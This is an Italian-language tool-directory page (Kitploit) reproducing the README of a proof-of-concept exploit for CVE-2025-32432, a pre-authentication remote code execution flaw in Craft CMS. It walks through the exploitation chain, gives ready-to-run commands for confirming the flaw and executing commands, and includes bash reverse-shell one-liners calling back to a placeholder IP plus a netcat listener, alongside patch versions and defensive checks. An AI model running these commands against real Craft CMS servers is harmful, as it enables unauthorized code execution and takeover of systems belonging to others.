Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-32432-POC — Proof of concept a bersaglio singolo per CVE-2025-32432, un'esecuzione remota di codice pre-autenticazione in Craft CMS. Esegue la conferma della vulnerabilità tramite gadget phpinfo ed esecuzione opzionale di comandi attraverso una catena di inclusione di file di sessione. | Kitploit
Strumenti/GitHubGitHub/theeomega/cve-2025-32432-poc
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneRed Teaming
GitHubtheeomega/cve-2025-32432-poc

CVE-2025-32432-POC

Proof of concept a bersaglio singolo per CVE-2025-32432, un'esecuzione remota di codice pre-autenticazione in Craft CMS. Esegue la conferma della vulnerabilità tramite gadget phpinfo ed esecuzione opzionale di comandi attraverso una catena di inclusione di file di sessione.

Vedi Repository
11 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

PoC a bersaglio singolo per Craft CMS CVE-2025-32432

Solo test autorizzati. Questo repository è destinato ad ambienti di laboratorio controllati, piattaforme CTF come Hack The Box, validazione interna e verifica difensiva. Non eseguire questo strumento su sistemi che non possiedi o per cui non hai esplicita autorizzazione a testare.

Panoramica

Questo progetto contiene una proof of concept a bersaglio singolo per CVE-2025-32432, una vulnerabilità di esecuzione remota di codice pre-autenticazione in Craft CMS.

La PoC esegue due fasi:

  1. Conferma della vulnerabilità tramite un gadget phpinfo() attraverso l'endpoint di generazione delle trasformazioni degli asset di Craft CMS.
  2. Esecuzione facoltativa di comandi utilizzando una catena di inclusione di file di sessione in due passaggi.

Lo script è progettato per evitare un comune problema di falso negativo presente in alcune PoC pubbliche: una normale richiesta di trasformazione immagine può restituire 404, mentre lo stesso endpoint e assetId funzionano ancora quando viene utilizzato il payload del gadget reale.

Versioni interessate

Secondo l'avviso ufficiale di Craft CMS e i database pubblici di advisory, gli intervalli interessati sono:

Ramo Craft CMSVersioni interessateVersione corretta
3.x< 3.9.153.9.15
4.x< 4.14.154.14.15
5.x< 5.6.175.6.17

Se gestisci una distribuzione di Craft CMS, aggiorna immediatamente a una versione corretta.

Riepilogo tecnico

La PoC segue questo flusso:

root@kitploit:~
Get CSRF token
      |
      v
Test endpoint + assetId with phpinfo gadget
      |
      v
Confirm vulnerable response contains PHP Version / PHP License
      |
      v
Poison Craft session return URL with PHP payload
      |
      v
Trigger yii\rbac\PhpManager to include the PHP session file
      |
      v
Execute optional command

Dettagli implementativi importanti:

  • Il rilevamento utilizza il gadget phpinfo, non una normale richiesta di trasformazione.
  • I comandi vengono passati in hex per evitare di interrompere la query string con spazi, virgolette, pipe o ampersand.
  • Le directory di sessione PHP predefinite testate sono:
    • /var/lib/php/sessions
    • /var/lib/php/session
    • /tmp
  • È inclusa un'opzione --timeout per gli scenari di reverse shell.

File

root@kitploit:~
craftcms_cve_2025_32432_public_poc.py   Main single-target PoC
README.md                               Project documentation

Requisiti

  • Python 3.9+
  • requests
  • urllib3

Installa le dipendenze:

root@kitploit:~
python3 -m pip install requests urllib3

Utilizzo

1. Modalità di sola verifica

Questa modalità conferma la vulnerabilità utilizzando solo il gadget phpinfo.

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py -u http://target.local

Output di successo atteso:

root@kitploit:~
[+] phpinfo triggered
[+] Working endpoint: http://target.local/index.php?p=admin/actions/assets/generate-transform
[+] Working assetId: 0
[+] Vulnerability confirmed by phpinfo gadget
[*] Check-only mode. Use -c 'id' to run a command.

La risposta di phpinfo viene salvata come:

root@kitploit:~
phpinfo_success.html

2. Eseguire un comando semplice

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py -u http://target.local -c "id"

Esempio di output di successo:

root@kitploit:~
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

3. Utilizzare un endpoint e un ID asset noti

Usa questa opzione quando conosci già i valori funzionanti.

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py \
  -u http://target.local \
  -c "id" \
  -a 0 \
  --endpoint "http://target.local/index.php?p=admin/actions/assets/generate-transform" \
  --session-dir /var/lib/php/sessions

4. Front controller personalizzato

Alcuni target potrebbero utilizzare un front controller personalizzato come x.php.

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py \
  -u http://target.local \
  --front x.php \
  -c "id"

Questo testa rotte come:

root@kitploit:~
http://target.local/x.php?p=admin/actions/assets/generate-transform

5. Utilizzo della reverse shell

Avvia prima un listener:

root@kitploit:~
rlwrap -cAr nc -lvnp 12345

Quindi esegui la PoC con un comando di reverse shell:

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py \
  -u http://target.local \
  -c "bash -lc 'bash -i >& /dev/tcp/YOUR_VPN_IP/12345 0>&1'" \
  --timeout 0

--timeout 0 disabilita il timeout delle richieste. È utile perché le reverse shell spesso mantengono aperta la richiesta HTTP.

Variante distaccata:

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py \
  -u http://target.local \
  -c "bash -lc 'setsid bash -c \"bash -i >& /dev/tcp/YOUR_VPN_IP/12345 0>&1\" >/dev/null 2>&1 &'" \
  --timeout 0

Opzioni

OpzioneDescrizionePredefinito
-u, --urlURL di base del targetObbligatorio
-c, --cmdComando facoltativo da eseguire dopo la conferma di phpinfoNessuno
--frontNome del file front controllerindex.php
-s, --scan-maxassetId massimo da testare con il gadget phpinfo50
-a, --assetID asset funzionante notoNessuno
--endpointEndpoint generate-transform funzionante notoNessuno
--session-dirDirectory delle sessioni PHP. Può essere specificata più volteElenco predefinito
--timeoutTimeout della richiesta per l'attivazione del comando. Usa 0 per nessun timeout20

Risoluzione dei problemi

assetId 0 -> HTTP 404 durante la scansione normale

Non fare affidamento su una normale richiesta di trasformazione per il rilevamento. Alcuni target restituiscono 404 per un corpo di trasformazione normale ma eseguono comunque il payload del gadget.

Questa PoC scopre le combinazioni valide utilizzando il gadget phpinfo stesso.

phpinfo funziona, ma l'esecuzione del comando fallisce

Prova a specificare manualmente la directory delle sessioni:

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py \
  -u http://target.local \
  -c "id" \
  --session-dir /var/lib/php/sessions

Poi prova:

root@kitploit:~
--session-dir /var/lib/php/session

oppure:

root@kitploit:~
--session-dir /tmp

La reverse shell si connette, ma muore rapidamente

Usa uno di questi approcci:

  1. Disabilita il timeout delle richieste:
root@kitploit:~
--timeout 0
  1. Usa un payload distaccato con setsid o nohup.

  2. Conferma che il tuo IP di callback sia corretto:

root@kitploit:~
ip -br a | grep tun

Timeout di lettura durante la reverse shell

Può essere normale se la reverse shell si è connessa correttamente. Controlla il tuo listener prima di considerare il timeout un errore.

Manca l'output del comando

Prova prima un comando più semplice:

root@kitploit:~
-c "id"
-c "whoami"
-c "pwd"

Se i comandi semplici funzionano ma quelli complessi falliscono, racchiudi il comando tra virgolette con attenzione oppure usa un payload shell distaccato.

Esempio di output di laboratorio

root@kitploit:~
[*] Target: http://orion.htb
[*] Front controller: index.php
[+] CSRF token found via http://orion.htb/index.php?p=admin/dashboard
[*] Testing endpoint: http://orion.htb/index.php?p=admin/actions/assets/generate-transform
    assetId 0 -> HTTP 200
[+] phpinfo triggered
[+] Working endpoint: http://orion.htb/index.php?p=admin/actions/assets/generate-transform
[+] Working assetId: 0
[+] Vulnerability confirmed by phpinfo gadget
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Linee guida difensive

Se amministri un'istanza di Craft CMS:

  1. Aggiorna a Craft CMS 3.9.15, 4.14.15, 5.6.17 o versioni successive.
  2. Controlla le root web per file PHP sospetti o web shell.
  3. Controlla le directory delle sessioni PHP e i log del server web per richieste sospette alle rotte di trasformazione degli asset.
  4. Ruota i segreti da .env e le credenziali del database se si sospetta uno sfruttamento.
  5. Limita l'accesso pubblico alle rotte amministrative dove possibile.
  6. Esamina i timestamp del filesystem del server nell'intervallo di tempo in cui si sospetta la compromissione.

Riferimenti

  • Advisory ufficiale di Craft CMS: https://craftcms.com/knowledge-base/craft-cms-cve-2025-32432
  • Database advisory di GitHub: https://github.com/advisories/GHSA-f3gw-9ww9-jmc3
  • Voce NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-32432
  • Analisi tecnica di SensePost: https://sensepost.com/blog/2025/investigating-an-in-the-wild-campaign-using-rce-in-craftcms/

Disclaimer

Questo progetto è fornito esclusivamente a scopo educativo, di ricerca, di laboratorio e di validazione difensiva. L'autore non è responsabile per un uso improprio. Testa solo sistemi che possiedi o per cui hai esplicito permesso scritto di valutazione.

Scarica lo strumento